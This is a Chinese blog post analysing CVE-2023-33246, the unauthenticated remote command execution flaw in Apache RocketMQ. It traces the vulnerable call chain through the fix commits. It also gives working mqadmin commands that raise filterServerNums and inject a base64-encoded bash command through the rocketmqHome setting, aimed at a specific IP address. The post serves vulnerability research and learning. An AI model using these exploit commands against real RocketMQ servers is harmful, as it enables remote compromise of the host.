发一篇库存
这篇文章也发在了我们团队的公众号上:https://mp.weixin.qq.com/s/E3IiSiIyP6So5cg-dR8PyQ
CVE-2023-33246 漏洞分析
漏洞描述
RocketMQ 5.1.0 及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
漏洞影响版本
Apache RocketMQ <= 5.1.0
漏洞基础
Apache RocketMQ
RocketMQ 是一个开源的分布式消息中间件系统,由阿里巴巴集团开发并贡献给 Apache 软件基金会,它主要用于解决高并发、高可用的场景下的消息通信问题。
- 说白了我觉得从应用角度来说就是第二个 Kafka
RocketMQ 工作流程
1、生产者发送消息:生产者通过调用 RocketMQ 提供的 API 向指定 Topic 发送消息,消息可以是任何格式的数据。
2、Nameserver 服务注册:Nameserver 接收到 Broker 的注册信息,并将其存储在内存中。同时,Nameserver 还记录着所有 Topic 和 Queue 的路由信息。
3、消费者订阅消息:消费者通过订阅指定的 Topic 来接收消息。消费者可以选择同步或异步方式订阅消息,也可以根据自己的需求设置消费模式。
4、Broker 接收消息:经过负载均衡后,消息被发送到 Broker 中。每个 Broker 都会缓存一定数量的消息,以便快速响应消费者的请求。
5、消费者拉取消息:消费者定期从 Broker 中拉取消息。在拉取消息时,可以根据不同的消费模式进行消息消费。消费者可以在本地进行消息处理,也可以将消息传递给其他系统进行处理。
6、消息确认:消费者在消费完消息后,需要向 Broker 发送消息确认信息。消息确认可以帮助 Broker 删除已经被消费的消息,避免重复消费。
总的来说,RocketMQ 的工作流程包括了生产者发送消息、Nameserver 注册服务、消费者订阅消息、Broker 接收消息、消费者拉取消息和消息确认等步骤。通过这些步骤,RocketMQ 能够实现高效、可靠的消息传递和处理。
环境搭建
docker-compose.yml
1 | version: '2' |
最开始这里是先去找 namesrv 处的漏洞的,但是发现打了断点之后一直走不过去,才发现是 Broker 组件处的问题,于是又加了 Broker 组件的断点调试。
且发现 Docker 的 5.1.0 版本有些问题,一直没有 debug 排错成功。
漏洞复现与分析
对于漏洞描述的思考
再看一遍漏洞描述,越看思考越多
RocketMQ 5.1.0 及以下版本,在一定条件下,存在远程命令执行风险。
RocketMQ 的 NameServer、Broker、Controller 等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞,达到更新配置功能的效果。
以 RocketMQ 运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
本质上是两点,需要先修改配置,再 RCE
漏洞信息给的相当模糊, 我猜测可能是 RocketMQ 里面本身自带有命令执行的地方,但是需要攻击者先构造越权。
和之前的漏洞分析不太一样,我并没有找到比较明显的 diff 代码
找了非常久的 diff 代码,终于找到一处可用的
https://github.com/apache/rocketmq/commit/9d411cf04a695e7a3f41036e8377b0aa544d754d
https://github.com/apache/rocketmq/commit/c3ada731405c5990c36bf58d50b3e61965300703 (和上面的版本,本质上是同一种东西)
这个的 diff 修复代码主要是做了一件事:不让 RocketMQ 在运行的时候能够更新 configPath,且增加了黑命单,黑名单如下
1 | brokerConfigPath |
后来在 4.9.6 的更新处又找到了另外一个地方
https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc (4.9.6)
https://github.com/apache/rocketmq/commit/f1b411cecc3a9c441fdec2caf5867601419f3fc0 (5.1.1)
这里我们拿以前的旧版本(我是 4.9.4)去看一下 filter server 到底是什么功能点
发现存在 callShell()
方法非常可疑,跟进去看一下,发现这里直接就有 Runtime.getRuntime.exec()
写出来了
结合前面的 callShell()
方法,最终找到一条可以利用的调用链,因为在 RocketMQ 中,startBasicService
这个方法很可能是每时每刻都在进行的
1 | BrokerController#startBasicService ——> FilterServerManager#start ——> FilterServerManager#createFilterServer ——> FilterServerUtil#callShell |
漏洞利用与漏洞分析
从漏洞利用角度来说很简单了,这里我们开启远程调试,并且在有 RocketMQ 的机子上开启另外一台 RocketMQ 主机来测试,因为这样可以保证控制变量,也不会有自己打自己的错觉。
通过以下命令开启另外一台 RocketMQ,这里本质上不会启动 RocketMQ 的服务,只是用一下里面的 jar 包等环境
1 | docker run --rm -ti apache/rocketmq:4.9.4 bash |
通过翻阅官方文档这里可以知道更新配置的操作是通过 ./mqadmin
这个命令来完成的
https://rocketmq.apache.org/zh/docs/4.x/deployment/02admintool/
因为漏洞代码是走到 Broker
这个组件相对应的功能里面去的,所以使用 ./mqadmin
命令后接 updateBrokerConfig
是我认为正确的利用姿势,先构造一个简单的 test 案例
1 | ./mqadmin updateBrokerConfig -k key -v whoami -n 124.222.21.138:9876 |
但是这一个 test 案例并没有走到对应的 FilterServerUtil#callShell
方法里面去,但是断点里面出现了这一段内容,这也就证明了这个 BrokerController
是会自动运行的(因为这里 more = 0,所以会抛出异常)
这时候再回来看一看 cmd 到底是怎么构造出来的 —— 去到 FilterServerManager.buildStartCommand()
方法下断点调试
第一个参数是 BrokerStartup.configFile
,也就是配置文件,第二个参数是要去更新的 NamesrvAddr,第三个参数为 rocketHome 的路径
这三者最终形成了 String cmd = this.buildStartCommand();
里的 cmd 变量,形象化地说明一下就是这样
1 | sh {para3}/bin/startfsrv.sh -c {para1} -n {para2} |
所以从构造攻击的角度来说我们最好是让 para3
可控,构造类似于 sh evil_cmd;/bin/startfsrv.sh -c {para1} -n {para2}
即可达到命令执行的目的。
这里其实还有一点需要绕过,就是 getFilterServerNums
这里最初的值是 0,我们需要让它变成大于 0 即可,这一点其实很容易实现,还是可以通过之前的 ./mqadmin
命令来完成。
1 | ./mqadmin updateBrokerConfig -kfilterServerNums -v1 -b124.222.21.138:10911 -n 124.222.21.138:9876 |
如此操作之后,就能够让代码走进 callShell()
的逻辑
并且在这里,通过 cmdArray
变量可以看到,确实我们需要控制 para3
去进行命令执行
构造 EXP
1 | ./mqadmin updateBrokerConfig -krocketmqHome -v'-c {echo,dG91Y2ggL3RtcC9zdWNjZXNzCg==}|{base64,-d}|bash -c"" ' -b124.222.21.138:10911 -n 124.222.21.138:9876 |
命令执行成功!
如果说需要扩大攻击面的话,我们尝试用 Java 打 RocketMQ 的 RCE
1 | import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; |
关于 RocketMQ 协议发包
这里我用 tcpdump 抓包了,但是我还是没有特别明白,这到底是什么意思,意思是强制更新吗还是。。
通过抓包其实可以看出来也是同样的过程。这里我觉得发包其实就是做了一个强制更新的操作,从上面的漏洞分析过程可以看到,sh xxx
一系列的参数,在被执行时是陆陆续续的,所以我们可以通过发包来强制更新
后续知道其实这是需要 TCP 发包构造
小结
这个洞其实找到链尾就不难了
CVE-2023-33246 的命令执行方式还是挺骚的,同时我在向淚笑大师傅请教的过程中学到了非常多的东西,首先是漏洞挖掘这一块,需要多元思考,其实这个尾部命令执行的点还是挺有意思的,说不定其他很多产品也会存在这个问题。
再就是多用 docker,他搭建环境非常非常快。
最后就是如何挖洞,是要多关注官方文档的很多的功能利用的,多调试。
- 本文标题:CVE-2023-33246 RocketMQ 漏洞分析
- 创建时间:2023-06-23 14:15:12
- 本文链接:2023/06/23/CVE-2023-33246-RocketMQ-漏洞分析/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!